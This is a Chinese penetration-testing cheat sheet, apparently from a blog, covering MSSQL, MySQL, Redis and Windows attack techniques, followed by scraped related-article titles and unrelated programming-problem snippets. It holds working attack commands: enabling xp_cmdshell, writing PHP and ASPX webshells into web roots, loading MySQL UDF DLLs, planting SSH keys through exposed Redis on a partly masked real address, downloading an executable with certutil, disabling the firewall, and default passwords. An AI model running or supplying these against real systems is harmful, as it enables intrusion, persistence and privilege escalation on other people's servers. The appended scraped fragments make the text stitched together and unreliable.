4、数据库安全基础

4.1、MSSQL

数据库角色权限
sysadmin:执行SQL Server中的任何动作

db_owner:可以执行数据库中技术所有动作的用户

public:数据库的每个合法用户都属于该角色。它为数据库中的用户提供了所有默认权限。
数据库身份验证
SQL Server中的验证方式
Windows身份验证模式
SQL Server和Windows身份验证模式(混合模式)
常用命令
  • xp_cmdshell 执行命令
exec xp_cmdshell 'dir'
  • sp_configure 开启扩展
exec sp_configure 'show'
exec sp_configure 'show advanced options',1
reconfigure
go
exec sp_configure 'xp_cmdshell',1
reconfigure
go
  • 文件上传
1、通过SQL搜索指定文件

1> exec xp_cmdshell 'dir /s C:\ /b | findstr "Files.aspx"';
2> go
+-------------------+
| output |
+-------------------+
| C:\web\Files.aspx |
| NULL |
+-------------------+
(2 rows affected) 2、通过SQL写webshell到网站目录,DOS转义问题 1> exec xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["z"],"unsafe");%^> >> C:\web\hello.aspx';
2> go
+--------+
| output |
+--------+
| NULL |
+--------+
(1 rows affected) 3、文件下载 # 本地开启Web服务
python -m SimpleHTTPServer 80
# 远程服务器执行下载
1> exec xp_cmdshell "certutil -urlcache -f -split http://172.18.0.24/3389.exe";
2> go
+------------------------------------+
| output |
+------------------------------------+
| **** 联机 **** |
| 000000 ... |
| 02c8fe |
| CertUtil: -URLCache 命令成功完成。 |
| NULL |
+------------------------------------+
(5 rows affected)
  • 加解密web.config
aspnet_regiis -pef "加密的字段" "web路径不带\"
aspnet_regiis -pdf "解密的字段" "web路径不带\"

4.2、MySQL

获取Shell

获取方法有两种

  • 上传一个用户自定义方法udf,执行系统命令
  • mysql+web的形式,into outfile写文件

常用语句

# 显示用户名
select user();
# 显示数据库版本
select @@version;
# 显示导出目录路径
select @@secure_file_priv;
# 将数据导出到某个文件
select 1 into outfile '/var/www/html/sql/1.txt';
select "<?=system($_GET['z']);?>" into outfile '/var/www/html/sql/z.php'
select "<?=eval($_REQUEST['z']);?>" into outfile '/var/www/html/sql/z1.php'

导出UDF.DLL

# 1、MySQL5 新建plugin目录
select @@basedir; //查找到mysql的目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录 # 2、利用网络共享导出UDF select load_file('\\\\192.168.0.19\\share\\udf.dll') into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll"; # 3、十六进制导出 // 转换为hex函数
select hex(load_file('D:\\udf.dll')) into dumpfile "D:\\udf.hex";
// 导入
select 0x4d5a...... into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll"; # 4、创建一个表并将二进制数据插入到十六进制编码流中,其中的二进制数据用update语句来连接。 create table temp(data longblob);
insert into temp(data) values (0x4d5a9....);
update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000); select data from temp into dump file "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll"; # 5、使用MySQL 5.6.1和MariaDB 10.0.5中介绍的函数“to_base64”和“from_base64”上传二进制文件。 # 转换为base64
select to_base64(load_file('D:\\udf.dll')); # base64导出为DLL
select from_base64("Base64编码") into dumpfile "D:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll";
条件

1、into outfile需要MySQL的file权限

2、MySQL5.7以后,secure_file_priv只能通过mysqld.cnf配置文件编辑。默认不配置,outfile写文件无权限。

3、读写文件时候,文件操作的用户是mysql:mysql,所以需要MySQL具有一个可写入的目录权限。

4.3、Redis

漏洞测试

1)本地生成秘钥

root@GanDolf:~# ssh-keygen  -t rsa

2)将公钥写入一个文件

root@GanDolf:~# cd /root/.ssh/

root@GanDolf:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt

3)连接redis写入文件

root@GanDolf:~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackit

OK
root@GanDolf:~/.ssh# redis-cli -h 210.73.90.xxx 210.73.90.xxx:6379> config set dir /root/.ssh/
OK
(1.39s)
210.73.90.xxx:6379> CONFIG GET dir
1) "dir"
2) "/root/.ssh"
210.73.90.xxx:6379> config set dbfilename "authorized_keys"
OK
(1.03s)
210.73.90.xxx:6379> SAVE
saOK
(1.40s)
210.73.90.xxx:6379> SAVE
OK
210.73.90.xxx:6379> exit
root@GanDolf:~/.ssh# ssh 4)连接服务器
root@GanDolf:~/.ssh# ssh -i id_rsa root@210.73.90.xxx

5、操作系统安全基础

搜索文件

dir /s C:\ /b | findstr "Files.aspx"

批量查找文件

for /r c:\game %i in (xxxx.txt) do @echo %i

windows命令查看文件

type C:\\flag.txt

关闭防火墙

netsh firewall set opmode mode=disable

下载文件(windows2008)

certutil -urlcache -f -split http://172.18.0.24/3389.exe";

下载的方式

Windows下各种一行代码的download

https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/?tdsourcetag=s_pcqq_aiomsg

如何挖掘新的可持续后门技巧

http://www.hexacorn.com/blog/2018/10/14/how-to-find-new-persistence-tricks

6、中间件安全基础

日志分析

管理员后台

admin、manage、login、system

后门相关

help.php、fuck.php、f4ck.php

7、渗透实际操作

  • 端口扫描

  • 口令测试:admin/admin、admin/admin888、admin/123456、root/root等

  • 目录扫描

  • web安全漏洞测试:文件上传、文件下载、base64编码、常见配置文件路径

  • 提权:数据库提权

    • MySQL:outfile
select <?php phpinfo();?> outfile D:\shell.php
    • MSSQL:开启XP_CMDSHELL
exec sp_configure 'show'
exec sp_configure 'show advanced options',1
reconfigure
go
exec sp_configure 'xp_cmdshell',1
reconfigure
go
  • 连接远程桌面
    • 关闭防火墙
netsh firewall set opmode mode=disable

【技巧总结】Penetration Test Engineer[5]-Operating System Security(SQL Server、MySQL提权)的更多相关文章

  1. win环境下使用sqlmap写shell + MYSQL提权(默认就是system权限)

    今天在来一个mysql提权 (也可以说是默认system权限提的) 在被黑站点找到一个站   先教拿shell是有注入漏洞的 有可能是root权限的注入点 可以确定是有注入漏洞的 也得到了 物理路径 ...

  2. SQL Server 数据库编程技巧

    Ø  简介 本文主要介绍 SQL Server 数据库在平常的开发中,可能会涉及到的编程技巧,主要包含以下内容: 1.   解决 SQL Server 不支持 127.0.0.1 登录 2.   查询 ...

  3. 【技巧总结】Penetration Test Engineer[3]-Web-Security(SQL注入、XXS、代码注入、命令执行、变量覆盖、XSS)

    3.Web安全基础 3.1.HTTP协议 1)TCP/IP协议-HTTP 应用层:HTTP.FTP.TELNET.DNS.POP3 传输层:TCP.UDP 网络层:IP.ICMP.ARP 2)常用方法 ...

  4. 快速了解 Robot Operating System(ROS) 机器人操作系统

     http://www.ros.org/ 关于ROS About ROS http://www.ros.org/about-ros/ 机器人操作系统(ROS)是用于编写机器人软件的灵活框架.目的在简化 ...

  5. DBCC CHECKDB 遭遇Operating system error 112(failed to retrieve text for this error. Reason: 15105) encountered

    我们一个SQL Server服务器在执行YourSQLDBa的作业YourSQLDba_FullBackups_And_Maintenance时遇到了错误: Exec YourSQLDba.Maint ...

  6. The World's Only Advanced Operating System

    The World's Only Advanced Operating System

  7. Unable to open the physical file xxxx. Operating system error 2

    在新UAT服务器上,需要将tempdb放置在SSD(固态硬盘)上.由于SSD(固态硬盘)特性,所以tempdb的文件只能放置在D盘下面,而不能是D盘下的某一个目录下面. ALTER  DATABASE ...

  8. CREATE FILE encountered operating system error 5(Access is denied.)

    这篇博文主要演示"CREATE FILE encountered operating system error 5(Access is denied.)"错误如出现的原因(当然只是 ...

  9. Linux启动报错missing operating system

    用UltraISO制作了一个Red Hat Enterprise Linux Server release 5.7系统的U盘启动盘,然后在一台PC上安装,由于安装过程中在干别的事情,有些选项没有细看. ...

随机推荐

  1. P3850 [TJOI2007]书架

    题目描述 Knuth先生家里有个精致的书架,书架上有N本书,如今他想学到更多的知识,于是又买来了M本不同的新书.现在他要把新买的书依次插入到书架中,他已经把每本书要插入的位置标记好了,并且相应的将它们 ...

  2. P2234 [HNOI2002]营业额统计

    题目描述 Tiger最近被公司升任为营业部经理,他上任后接受公司交给的第一项任务便是统计并分析公司成立以来的营业情况. Tiger拿出了公司的账本,账本上记录了公司成立以来每天的营业额.分析营业情况是 ...

  3. Barricade HDU - 5889(最短路+最小割)

    Barricade Time Limit: 3000/1000 MS (Java/Others)    Memory Limit: 65536/65536 K (Java/Others)Total S ...

  4. 【转】Word 2010 取消拼写/语法检查,隐藏红线/绿线

    转自:http://blog.chinaunix.net/uid-8203698-id-3040631.html 设置方法如下,在Word菜单栏-->文件-->选项-->校对,其中“ ...

  5. 【刷题】BZOJ 2154 Crash的数字表格

    Description 今天的数学课上,Crash小朋友学习了最小公倍数(Least Common Multiple).对于两个正整数a和b,LCM(a, b)表示能同时被a和b整除的最小正整数.例如 ...

  6. Java考试题之八

    QUESTION 139 Giventhe following directory structure: bigProject |--source | |--Utils.java ||--classe ...

  7. HYSBZ(BZOJ) 4300 绝世好题(位运算,递推)

    HYSBZ(BZOJ) 4300 绝世好题(位运算,递推) Description 给定一个长度为n的数列ai,求ai的子序列bi的最长长度,满足bi&bi-1!=0(2<=i<= ...

  8. 旧题新做:从idy的视角看数据结构

    “今天你不写总结……!!!” 额…… 还是讲我的吧.这些考试都是idy出的题. 20170121:DFS序. ST表.线段树练习 这是第一次考数据结构. Problem 1. setsum 1 sec ...

  9. fzyzojP3372 -- [校内训练20171124]博弈问题

    对于每个点都要答案 还是异或 trie树合并石锤了 朴素枚举是O(n^2*17)的 怎么办呢? 我们发现合并的时候,一些部分的trie的子树还是不变的 改变的部分也就是合并的复杂度可以接受 鉴于大部分 ...

  10. 【整体二分】【P3527】 [POI2011]MET-Meteors

    Description 有 n 个国家,总共占有一个环,环被分成了 m 段,已知有 k 次流星雨会落在这个环上的一些位置.再给出每个国家目标收集多少流星,对每个国家求出第几次流星雨后可以满足这个国家的 ...